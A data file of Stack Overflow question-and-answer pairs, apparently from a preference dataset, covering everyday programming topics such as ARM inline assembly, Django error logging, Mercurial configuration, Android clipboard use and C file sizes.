{"id": "hf_724df139282d", "question": "<p>How is it done? What steps do I need to take and what pitfalls and gotchas are there to consider?</p>\n", "question_body": "", "answer": "I write quite a bit of ARM Cortex-A8 assembly-code. The CPU on the iPhone is an ARM11 (afaik) so the core instruction set is the same.\nWhat exactly are you looking for? I could give you some examples if you want.\nEDIT:\nI just found out that on the iPhone you have to use the llvm-gcc compiler. As far as I know it should understand the inline assembler syntax from GCC. If so all the ARM inline assembler tutorials will work on the iPhone as well.\nHere is a very minimal inline assembler function (in C). Could you please tell me if it compiles and works on the iphone? If it works I can rant a bit how to do usefull stuff in ARM inline assembler, especially for the ARMv6 architecture and the DSP extensions.\n```\n```\ninline int saturate_to_255 (int a)\n{\n  int y;\n  asm (\"usat %0, #8, %1\\n\\t\" : \"=r\"(y) : \"r\"(a));\n  return y;\n}\n```\n```\nshould be equivalent to:\n```\n```\ninline int saturate_to_255 (int a)\n{\n  if (a < 0) a =0;\n  if (a > 255) a = 255;\n  return a;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.062014"}
{"id": "hf_9c645d83c316", "question": "<p>So, when playing with the development I can just set <code>settings.DEBUG</code> to <code>True</code> and if an error occures I can see it nicely formatted, with good stack trace and request information.</p>\n\n<p>But on kind of production site I'd rather use <code>DEBUG=False</code> and show visitors some standard error 500 page with information that I'm working on fixing this bug at this moment ;)<br>\nAt the same time I'd like to have some way of logging all those information (stack trace and request info) to a file on my server - so I can just output it to my console and watch errors scroll, email the log to me every hour or something like this.</p>\n\n<p>What logging solutions would you recomend for a django-site, that would meet those simple requirements? I have the application running as <code>fcgi</code> server and I'm using apache web server as frontend (although thinking of going to lighttpd).</p>\n", "question_body": "", "answer": "Well, when\n```\nDEBUG = False\n```\n, Django will automatically mail a full traceback of any error to each person listed in the\n```\nADMINS\n```\nsetting, which gets you notifications pretty much for free. If you'd like more fine-grained control, you can write and add to your settings a middleware class which defines a method named\n```\nprocess_exception()\n```\n, which will have access to the exception that was raised:\nhttp://docs.djangoproject.com/en/dev/topics/http/middleware/#process-exception\nYour\n```\nprocess_exception()\n```\nmethod can then perform whatever type of logging you'd like: writing to console, writing to a file, etc., etc.\nEdit: though it's a bit less useful, you can also listen for the\n```\ngot_request_exception\n```\nsignal, which will be sent whenever an exception is encountered during request processing:\nhttp://docs.djangoproject.com/en/dev/ref/signals/#got-request-exception\nThis does\nnot\ngive you access to the exception object, however, so the middleware method is much easier to work with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.169064"}
{"id": "hf_93d43ce1541c", "question": "<p>I want to do some pattern matching on lists in Python. For example, in Haskell, I can do something like the following:</p>\n\n<pre><code>fun (head : rest) = ...\n</code></pre>\n\n<p>So when I pass in a list, <code>head</code> will be the first element, and <code>rest</code> will be the trailing elements.</p>\n\n<p>Likewise, in Python, I can automatically unpack tuples:</p>\n\n<pre><code>(var1, var2) = func_that_returns_a_tuple()\n</code></pre>\n\n<p>I want to do something similar with lists in Python. Right now, I have a function that returns a list, and a chunk of code that does the following:</p>\n\n<pre><code>ls = my_func()\n(head, rest) = (ls[0], ls[1:])\n</code></pre>\n\n<p>I wondered if I could somehow do that in one line in Python, instead of two.</p>\n", "question_body": "", "answer": "That's a very much a 'pure functional' approach and as such is a sensible idiom in Haskell but it's probably not so appropriate to Python.  Python only has a very limited concept of\npatterns\nin this way - and I suspect you might need a somewhat more rigid type system to implement that sort of construct (\nerlang\nbuffs invited to disagree here).\nWhat you have is probably as close as you would get to that idiom, but you are probably better off using a list comprehension or imperative approach rather than recursively calling a function with the tail of the list.\nAs has been\nstated\non a few occasions\nbefore\n, Python is not actually a functional language.  It just borrows ideas from the FP world.  It is not inherently\nTail Recursive\nin the way you would expect to see embedded in the architecture of a functional language, so you would have some difficulty doing this sort of recursive operation on a large data set without using a lot of stack space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.193128"}
{"id": "hf_4390d982913e", "question": "<p>I am trying to get the signature on the method below to work. As this is an Anonymous Type I have some trouble, any help would be great.</p>\n\n<p>When I looked at sortedGameList.ToList() in a QuickWatch window I get the signature </p>\n\n<pre><code>System.Collections.Generic.List&lt;&lt;&gt;f__AnonymousType0&lt;System.DateTime,System.Linq.IGrouping&lt;System.DateTime,DC.FootballLeague.Web.Models.Game&gt;&gt;&gt;\n</code></pre>\n\n<p>Many Thanks</p>\n\n<p>Donald</p>\n\n<pre><code>   public List&lt;IGrouping&lt;DateTime, Game&gt;&gt; getGamesList(int leagueID)\n{\n    var sortedGameList =\n        from g in Games\n        group g by g.Date into s\n        select new { Date = s.Key, Games = s };\n\n    return sortedGameList.ToList();\n\n}\n</code></pre>\n", "question_body": "", "answer": "The simple answer is: don't use an anonymous type.\nThe closest you're going get with that anonymous type is IEnumerable<object>. The problem is, anybody who uses your stuff is not going to know what to do with that object whose type was \"unpredictable\".\nInstead, make a class like:\n```\n```\npublic class GamesWithDate {\n    public DateTime Date { get; set; }\n    public List<Game> Games { get; set; }\n}\n```\n```\nAnd change your LINQ to:\n```\n```\nvar sortedGameList =\n    from g in Games\n    group g by g.Date into s\n    select new GamesWithDate { Date = s.Key, Games = s };\n```\n```\nNow you're returning List<GamesWithDate>.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.228725"}
{"id": "hf_afc59412764a", "question": "<p>When the SharePoint application you are working on has unsatisfactory response times how do you pinpoint the causes and in which sequence? So far I have not yet found any open source or commercial profiling tools specific for the SharePoint segment, so any pointer to tools or best practices will be appreciated.</p>\n\n<p>PS. I am aware of the profiling options for the web parts but I am looking for something that covers the entire application.</p>\n", "question_body": "", "answer": "My advice is to look at the following:\nData Layer\nCheck and see if your database is chugging along, and what requests are taking a lot of time.  90% of everything you see in SharePoint is stored in the database somewhere.  Run SQL Profiler for a few hours and examine your logs.\nSite Collections\nI have found in SharePoint that the deeper you arrange your sites and site collections, the further that performance degrades.  This is purely anecdotal, so take it with a grain of salt.\nOther than that, I don't know of many SharePoint profiling tools.  My experience with SharePoint has pushed my away from heavy customization jobs, and towards using more functionality OOTB.  I rarely recommend using SharePoint as an application platform.\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.252801"}
{"id": "hf_43414460222f", "question": "<p>Because windows is case-insensitive and because SVN is case-sensitive and because VS2005 tends to rename files giving them the lower-case form which messes my repositories' history, I've tried to add the pre-commit hook script from <a href=\"http://svn.collab.net/repos/svn/trunk/contrib/hook-scripts/case-insensitive.py\" rel=\"nofollow noreferrer\">http://svn.collab.net/repos/svn/trunk/contrib/hook-scripts/case-insensitive.py</a>.\nSure enough, the script uses classes from python's libsvn (\"from svn import repos, fs\") which I fail to find compiled for Windows.\nIs there an alternative? To libsvn or to the hook script?</p>\n", "question_body": "", "answer": "There are two alternative Python bindings for libsvn:\npysvn\n.\nsubvertpy\n.\nSubvertpy is quite new and is written by the author of\nbzr-svn\n: the transparent\nsvn\ninter-operation bridge for\nbzr\n.\nFor a while, bzr-svn used the upstream\nSWIG\nPython bindings, and the author contributed a lot of bug fixes. It helped move the upstream python support for \"horribly broken\" to \"painfully aggravating and unpythonic\". So after wasting too many hours of his life to SWIG, the author decided to make his own bindings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.276584"}
{"id": "hf_925d36689f80", "question": "<p>Every time I do an <code>hg diff file.ext</code> I end up using a console diff application. I would like to use Kdiff3 or WinMerge (I'm using Windows).</p>\n\n<p>Is there a way to change that? I can't find a reference in Mercurial documentation (<strong>I'm not talking about merge!</strong>). </p>\n", "question_body": "", "answer": "I've solved this using a Mercurial built-in extension... I just have to add the following lines to Mercurial.ini (on Mercurial folder):\n```\n```\n[extensions]\nhgext.extdiff=\n\n[extdiff]\ncmd.vdiff = kdiff3\n```\n```\nWhen I want to use kdiff3 instead of diff I only have to use:\n```\n```\nhg vdiff file.ext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.340601"}
{"id": "hf_6cffae5e379c", "question": "<p>I use <a href=\"http://www.crockford.com/javascript/jsmin.html\" rel=\"nofollow noreferrer\">jsmin</a> to compress my javascript files before uploading them to production.</p>\n\n<p>Since I tend to have one \"code-behind\" javascript file per page, I wind up doing this a lot.</p>\n\n<p>I installed a Windows Powertoy that adds a context menu item in Windows Explorer, so I can \"Open Command Window Here\".  When I click that, the command prompt opens up in the right directory.  That saves a little bit of typing.</p>\n\n<p>However, I still have to type something like:</p>\n\n<pre><code>jsmin &lt;script.js&gt; script.min.js\n</code></pre>\n\n<p>To get it to work. This is a hassle.</p>\n\n<p>I'd like to create a context menu item that will allow me to right-click on a *.js file and select \"jsmin-compress this file.\" Then jsmin would be invoked, and the original file would be compressed into \"original_filename.<b>min</b>.js\"</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "you could drop a link to a batch script into the user sendto directory.  Something like\n```\n```\njsmin %1 script.min.js\n```\n```\nwhich is what I usually do", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.377236"}
{"id": "hf_2b2be155de55", "question": "<p>I have given a location defined by latitude and longitude.\nNow i want to calculate a bounding box within e.g. 10 kilometers of that point.</p>\n\n<p>The bounding box should be defined as latmin, lngmin and latmax, lngmax.</p>\n\n<p>I need this stuff in order to use the <a href=\"http://www.panoramio.com/api/\" rel=\"noreferrer\">panoramio API</a>.</p>\n\n<p>Does someone know the formula of how to get thos points?</p>\n\n<p><strong>Edit:</strong> Guys i am looking for a formula/function which takes lat &amp; lng as input and returns a bounding box as latmin &amp; lngmin and latmax &amp; latmin.\nMysql, php, c#, javascript is fine but also pseudocode should be okay.</p>\n\n<p><strong>Edit:</strong> I am not looking for a solution which shows me the distance of 2 points</p>\n", "question_body": "", "answer": "You're looking for an ellipsoid formula.\nThe best place I've found to start coding is based on the Geo::Ellipsoid library from CPAN.  It gives you a baseline to create your tests off of and to compare your results with its results.  I used it as the basis for a similar library for PHP at my previous employer.\nGeo::Ellipsoid\nTake a look at the\n```\nlocation\n```\nmethod.  Call it twice and you've got your bbox.\nYou didn't post what language you were using.  There may already be a geocoding library available for you.\nOh, and if you haven't figured it out by now, Google maps uses the WGS84 ellipsoid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.425063"}
{"id": "hf_b5a68b43dacf", "question": "<p>I'm building an Android app and I want to copy the text value of an EditText widget. It's possible for the user to press <code>Menu+A</code> then <code>Menu+C</code> to copy the value, but how would I do this programmatically?</p>\n", "question_body": "", "answer": "Use\n```\nClipboardManager#setPrimaryClip\n```\nmethod:\n```\n```\nimport android.content.ClipboardManager;\n\n// ...\n\nClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); \nClipData clip = ClipData.newPlainText(\"label\", \"Text to copy\");\nclipboard.setPrimaryClip(clip);\n```\n```\n```\nClipboardManager\n```\nAPI reference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.461897"}
{"id": "hf_fb6200729b5d", "question": "<p>I have a route</p>\n\n<pre><code>// Sample URL: /Fixtures/Team/id\nroutes.MapRoute(\n     \"Fixtures-by-TeamID\",\n     \"Fixtures/Team/{teamId}\",\n     new { controller = \"Fixtures\", action = \"GetByTeamID\", },\n     new { teamId = @\"\\d{1,3}\" }\n);\n</code></pre>\n\n<p>and I am trying to use ActionLink in ASP.net MVC p5. </p>\n\n<pre><code>&lt;%= Html.ActionLink(g.HomeTeam.TeamName, \"Team\", new { teamId = g.HomeTeam.TeamID })%&gt;\n</code></pre>\n\n<p>However it is not working and giving me </p>\n\n<pre><code>&lt;a href=\"/Fixtures/Team?teamId=118\"&gt;Team A&lt;/a&gt;\n</code></pre>\n\n<p>If I use Url.RouteUrl i get the correct link.</p>\n\n<pre><code>&lt;a href=\"&lt;%=Url.RouteUrl(\"Fixtures-by-TeamID\", new { teamId = g.HomeTeam.TeamID })%&gt;\"&gt;&lt;%=g.HomeTeam.TeamName%&gt;&lt;/a&gt;   \n\n&lt;a href=\"/Fixtures/Team/118\"&gt;Team A&lt;/a&gt;\n</code></pre>\n\n<p>Any help would be great? Will this change in ASP.net MVC beta?</p>\n\n<p>Thanks</p>\n\n<p>Donald</p>\n", "question_body": "", "answer": "In my experience, the only time action routes really work properly is when you only have the single default route. As soon as you start adding custom routes like yours above, action routes become... I guess \"finicky\" is the right word. The matching system doesn't work exactly how you'd expect it to.\nIn this case, you said the action was \"Team\", but this route doesn't match an action of \"Team\", it only matches \"GetTeamByID\". So the routing system keeps going and ends up giving you a route based on the default route. The teamId isn't explicitly part of your default route, so it ends up as a query parameter tacked on the end.\nMVC Beta has already shipped, and this behavior is unchanged.\nAlso, don't you find the named route to be clearer anyway? Personally, I do.\nI even go one step further and actually create route helpers for all my custom routes, which might look like this in your current example:\n```\n```\n<a href=\"<%= Url.FixturesByTeam(g.HomeTeam.TeamID) %>\"><%= g.HomeTeam.TeamName %></a>\n```\n```\nOr even:\n```\n```\n<%= Html.LinkToFixturesByTeam(g.HomeTeam) %>\n```\n```\nwhere you can pull the values for name and ID directly from the model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.498617"}
{"id": "hf_79af640a0a1b", "question": "<p>I'm hosting my first WCF service in IIS. I have two methods, 1 to set a string variable on the WCF Service, and the other to retrieve it. The interface used is:</p>\n\n<pre><code>[OperationContract]\nstring ReturnText();\n\n[OperationContract]\nvoid SetText(string s);\n</code></pre>\n\n<p>BasicHttpBinding is used. Stepping through the service with the debugger from the client reveals that the value of the string is set correctly using SetText, but when I immediately do a return text, the string is back to null.</p>\n\n<p>Probably a simple one I know, but I thought that all values on the WCF service were retained between opening the service connection and closing it.</p>\n\n<p>Why is the value lost between the Set and Gets?</p>\n", "question_body": "", "answer": "By default things are session-less and instances are per-call.  See\nhttp://msdn.microsoft.com/en-us/library/ms731193.aspx\nfor some starter information, but in order to have state across the calls, you'll either need a PerSession or Single instancing mode on the server, and in the former case, configure the binding to support sessions (so that the two calls can be correlated as a result of being a part of the same session connection).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.586964"}
{"id": "hf_3e1f89571185", "question": "<p>Here are my current options. </p>\n\n<ol>\n<li>.Net : Using WPF, Visual C#, SQLServer</li>\n<li>Java : Using Spring, Hibernate, Enterprise DB, web-based</li>\n</ol>\n\n<p>Can you suggest which one is better?, especially with regards to building complex forms.</p>\n", "question_body": "", "answer": "Wow, .NET vs. Java, can't wait to see how this turns out  ;-)\n.NET might have the edge here with WPF and click-once deployment.  WPF is in its second version and is showing itself to be quite powerful and easy to use.  It provides excellent separation between logic and presentation (in XAML).  Personally, I would much prefer a Windows application to web deployment because the programming model is so much more powerful and versatile (and better suited for complex forms).\nI won't try to represent the Java viewpoint here, but Windows forms development in Java does not have a great reputation.  Perhaps its unwarranted, I'd be interested to hear what Java programmers have to say. (UPDATE -- Swing is the technology I'm referring to here)\nTo some extent, this is a false choice, because those other technologies you list (Spring, Hibernate) are also available on the .NET stack (Spring.Net and NHibernate) and are quite mature.  Most popular Java open source technologies have been ported to the .NET stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.701905"}
{"id": "hf_4a2e4f788d13", "question": "<p>I think I know the answer, but I would like to bounce around some ideas.</p>\n\n<p>I would like to pass several (in this instance 2) somewhat different pieces of data to a View.  My initial thought is simply to wrap-up the various objects into a containing object and pass them along that way. Then from the View, I'd have something like </p>\n\n<pre><code>var objContainer = ViewData.Model;\nvar thisObject = objContainer.ThisObject;\nvar thatObject = objContainer.ThatObject;\n</code></pre>\n\n<p>and these could be used independently in the Master Page and View Page.</p>\n\n<p>Is that the \"best\" way?</p>\n", "question_body": "", "answer": "I've got the same dealie going on.  Here's my solution (may not be the best practice, but it works for me).\nI created a number of \"Grouping\" classes:\n```\n```\npublic class Duo<TFirst,TSecond> { /*...*/ }\npublic class Trio<TFirst,TSecond, TThird> { /*...*/ }\n```\n```\nand a factory object to create them (to take advantage of type inference... some of the TFirsts and TSeconds and TThirds can be LONG)\n```\n```\npublic static class Group{\n\npublic static Duo<TFirst, TSecond> Duo(TFirst first, TSecond second) { \n  return new Duo<TFirst, TSecond>(first, second);\n }    \n/*...*/\n}\n```\n```\nIt gives me type safety and intellisense with a minimum of fuss.  It just smells because you're grouping together classes that essentially have no real relation between them into a single object.  I suppose it might be better to extend the ViewPage class to add a second and third ViewModel, but the way I did it takes lots less work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.731400"}
{"id": "hf_c16cfa5bccb2", "question": "<p>I'm trying to set up Eclipse for php web development.  What I would like to do is preview a php web page from within Eclipse, but I cannot figure out how to do this.  Is there an integrated web server of some sort that allows this, or do I have to set up IIS/Apache to do it?  If so, do I have to have my php files in the web servers path, or does Eclipse auto deploy the files to the local web server?  Any information or links would be very much appreciated.</p>\n", "question_body": "", "answer": "There is a plugin for Eclipse called PDT which makes PHP development a breeze.\nFor an overview on how to install it, you can refer to the Eclipse website:\nhttp://wiki.eclipse.org/PDT/Installation#Eclipse_3.4_.2F_Ganymede_.2F_PDT_2.0\nTo actually view the PHP scripts running, I would imagine that you'd have to have some sort of server already installed and running. You could probably set the workspace location to be in the server path, and then view the files through localhost. But maybe the PDT package takes care of some of that for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.791688"}
{"id": "hf_dcafae7d50af", "question": "<p>I want to make a really simple iphone app:  one screen with a single button... when the button is tapped a new screen appears.  That's it.  No animations, nothing,</p>\n\n<p>I've tried endlessly to make the NavBar sample project do this... and it works but only if I use a UINavigationController with a table that I can tap etc.  I've tried all the skeleton projects in XCode too.</p>\n\n<p>I thought I was done when I did this:</p>\n\n<pre><code>[[self navigationController] presentModalViewController:myViewController animated:YES];\n</code></pre>\n\n<p>But I couldn't do it without the UINavigationController.  I just want a simple example.</p>\n\n<p>Thanks so much!</p>\n", "question_body": "", "answer": "One way you could do this is to create a new UIView and then when the button is pressed add that new UIVIew as a subview, therefore making it what you see.\nIf you make the new view its own subclass of UIView you would do something like this.\n```\n```\nLoginView *login = [[LoginView alloc] initWithFrame: rect];\n[mainView addSubview: login];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.863330"}
{"id": "hf_bd0e6ae71edb", "question": "<p>I have intermittent crashes occurring in my ActiveMQ libraries due to the way I'm using the activemq-cpp API.  It'd be much easier to debug the issue if I could observe every function being called leading up to the crash.  Are there any quick ways to trace the entry and exit of functions in a Visual Studio 2005 c++ multithreaded program?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "Use a Tracer object.  Something like this:\n```\n```\nclass Tracer\n{\npublic:\n  Tracer(const char *functionName) : functionName_(functionName)\n  {\n    cout << \"Entering function \" << functionName_ << endl;\n  }\n\n  ~Tracer()\n  {\n    cout << \"Exiting function \" << functionName_ << endl;\n  }\n\n  const char *functionName_;\n};\n```\n```\nNow you can simply instantiate a Tracer object at the top the function, and it will automatically print \"exiting... \" when the function exits and the destructor is called:\n```\n```\nvoid foo()\n{\n  Tracer t(\"foo\");\n   ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.935740"}
{"id": "hf_bc767a9b6c5a", "question": "<p>I've been running the built-in <a href=\"http://ant.apache.org/\" rel=\"nofollow noreferrer\">Ant</a> from the command line on a Macintosh (10.5.5) and have run into some trouble with the <strong>Mail</strong> task. Running the Mail task produces the following message:</p>\n\n<pre><code>[mail] Failed to initialise MIME mail: org.apache.tools.ant.taskdefs.email.MimeMailer\n</code></pre>\n\n<p>This is most likely due to a missing ant-javamail.jar file in the /usr/share/ant/lib directory. I see a \"ant-javamail-1.7.0.pom\" file in this directory but not the appropriate jar file. Anyone know why this jar file might be missing and what the best way to resolve the problem is?</p>\n", "question_body": "", "answer": "Download the Java Mail libraries from:\nhttp://java.sun.com/products/javamail/\n.\nYou will also need\nhttp://java.sun.com/products/javabeans/glasgow/jaf.html\nA list of all external dependencies required by Ant's optional tasks are outlined here\nhttp://ant.apache.org/manual/index.html\n.\nAnother way to get dependencies for Ant very easily, is to run:\n```\n```\nant -f fetch all\n```\n```\nfrom $ANT_HOME. You can also run -projecthelp for a full list of targets:\n```\n```\nall         load all the libraries\n antlr       load antlr libraries\n bcel        load bcel libraries\n beanshell   load beanshell support\n bsf         load bsf libraries\n debugging   internal ant debugging\n get-m2      Download the Maven2 Ant tasks\n jdepend     load jdepend libraries\n jruby       load jruby\n junit       load junit libraries\n jython      load jython\n logging     load logging libraries\n networking  load networking libraries (commons-net; jsch)\n regexp      load regexp libraries\n rhino       load rhino\n script      load script languages\n xerces      load an updated version of Xerces\n xml         load full XML libraries (xalan, resolver)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.984462"}
{"id": "hf_f8543a9f2d45", "question": "<p>I would like to be able to fetch a web page's html and save it to a <code>String</code>, so I can do some processing on it.  Also, how could I handle various types of compression.</p>\n\n<p>How would I go about doing that using Java?</p>\n", "question_body": "", "answer": "Well, you could go with the built-in libraries such as\nURL\nand\nURLConnection\n, but they don't give very much control.\nPersonally I'd go with the\nApache HTTPClient\nlibrary.\nEdit:\nHTTPClient has been set to\nend of life\nby Apache. The replacement is:\nHTTP Components", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.064834"}
{"id": "hf_6179ee979dd6", "question": "<p>How do I get the value of a <code>MemberInfo</code> object? <code>.Name</code> returns the name of the variable, but I need the value. </p>\n\n<p>I think you can do this with <code>FieldInfo</code> but I don't have a snippet, if you know how to do this can you provide a snippet??</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Here's an example for fields, using\nFieldInfo.GetValue\n:\n```\n```\nusing System;\nusing System.Reflection;\n\npublic class Test\n{\n    // public just for the sake of a short example.\n    public int x;\n\n    static void Main()\n    {\n        FieldInfo field = typeof(Test).GetField(\"x\");\n        Test t = new Test();\n        t.x = 10;\n\n        Console.WriteLine(field.GetValue(t));\n    }\n}\n```\n```\nSimilar code will work for properties using\nPropertyInfo.GetValue()\n- although there you also need to pass the values for any parameters to the properties. (There won't be any for \"normal\" C# properties, but C# indexers count as properties too as far as the framework is concerned.) For methods, you'll need to call\nInvoke\nif you want to call the method and use the return value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.088744"}
{"id": "hf_1d3b88101bec", "question": "<p>How can I find out the size of a file I opened with an application written in C ? \nI would like to know the size, because I want to put the content of the loaded file into a string, which I allocate using <code>malloc()</code>. Just writing <code>malloc(10000*sizeof(char));</code> is IMHO a bad idea. </p>\n", "question_body": "", "answer": "You need to seek to the end of the file and then ask for the position:\n```\n```\nfseek(fp, 0L, SEEK_END);\nsz = ftell(fp);\n```\n```\nYou can then seek back, e.g.:\n```\n```\nfseek(fp, 0L, SEEK_SET);\n```\n```\nor (if seeking to go to the beginning)\n```\n```\nrewind(fp);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.124035"}
{"id": "hf_3a9979b4b49c", "question": "<p>I'm using TortoiseHg 0.5 (which includes Mercurial 1.0.2) on Vista64. My understanding from the <a href=\"http://hgbook.red-bean.com/hgbookch7.html#x11-1530007.7\" rel=\"noreferrer\">Mercurial Book</a> is that Mercurial should handle filenames in a case-insensitive manner on a case-insensitive filesystem (such as NTFS, which is what I'm on). However I find that my installation of Mercurial is in fact sensitive to case:</p>\n\n<pre><code>&gt;hg status -A foo\nC foo\n&gt;hg status -A FOO\n? FOO\n</code></pre>\n\n<p>Could this be a bug in Mercurial, a bug in the TortoiseHg build of Mercurial, or is it something else? How can I achieve case-insensitive filename handling from Mercurial on Windows?</p>\n", "question_body": "", "answer": "I think you misread the hgbook.  The intro to section 7.7 is just describing the three different types of case sensitivity that exist in OSs, not saying that mercurial will mirror those semantics.\nLater in section 7.7.2 'Detecting case conflicts' it says:\nWhen operating in the working\n  directory, Mercurial honours the\n  naming policy of the filesystem where\n  the working directory is located. If\n  the filesystem is case preserving, but\n  insensitive, Mercurial will treat\n  names that differ only in case as the\n  same.\nWhen you do\n```\nhg status -A FOO\n```\nthe process that's happening within mercurial is:\nCheck if a file exists on the file system matching the file argument, 'FOO', -- and at this point it's being case insensitive so it finds 'foo' and says \"yup, I've got a file\"\nCheck if there's an entry in the file manifest matching the file argument, 'FOO', and there isn't, so status shows a '?' saying it's a file on disk that hg isn't tracking\nTo better see mercurial not caring about case on NTFS try these steps:\nhg init\necho line > Foo\nhg add Foo\nhg commit -m 'committed Foo'\nmove Foo not-foo\nmove not-foo FOO\nhg status\nand you should see hg saying that nothing has changed because the only thing that has changed is the case which hg is ignoring for you.\nWhen I do the same thing on linux I instead see:\n```\n```\n! Foo\n? FOO\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.160344"}
{"id": "hf_ea81a249b16c", "question": "<p>I have a subclass \"s\" of UIView.  I want to put some buttons and labels on s.  How do I associate my UIView subclass with a nib file?</p>\n", "question_body": "", "answer": "In Interface Builder, create a new\nxib with the View template.\nClick on the view in the list of\nobjects in the xib (you should also\nsee \"File's Owner and \"First\nResponder\").\nPush Cmd-4 to open the Identity pane\nof the inspector.\nType your class's name into the\n\"Class Name\" field and push return.\nYou should be able the drag buttons in. To get at the nib from code, use\n```\n-[NSBundle loadNibNamed:owner:options:]\n```\n. Your view should be the first object in the returned array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.197314"}
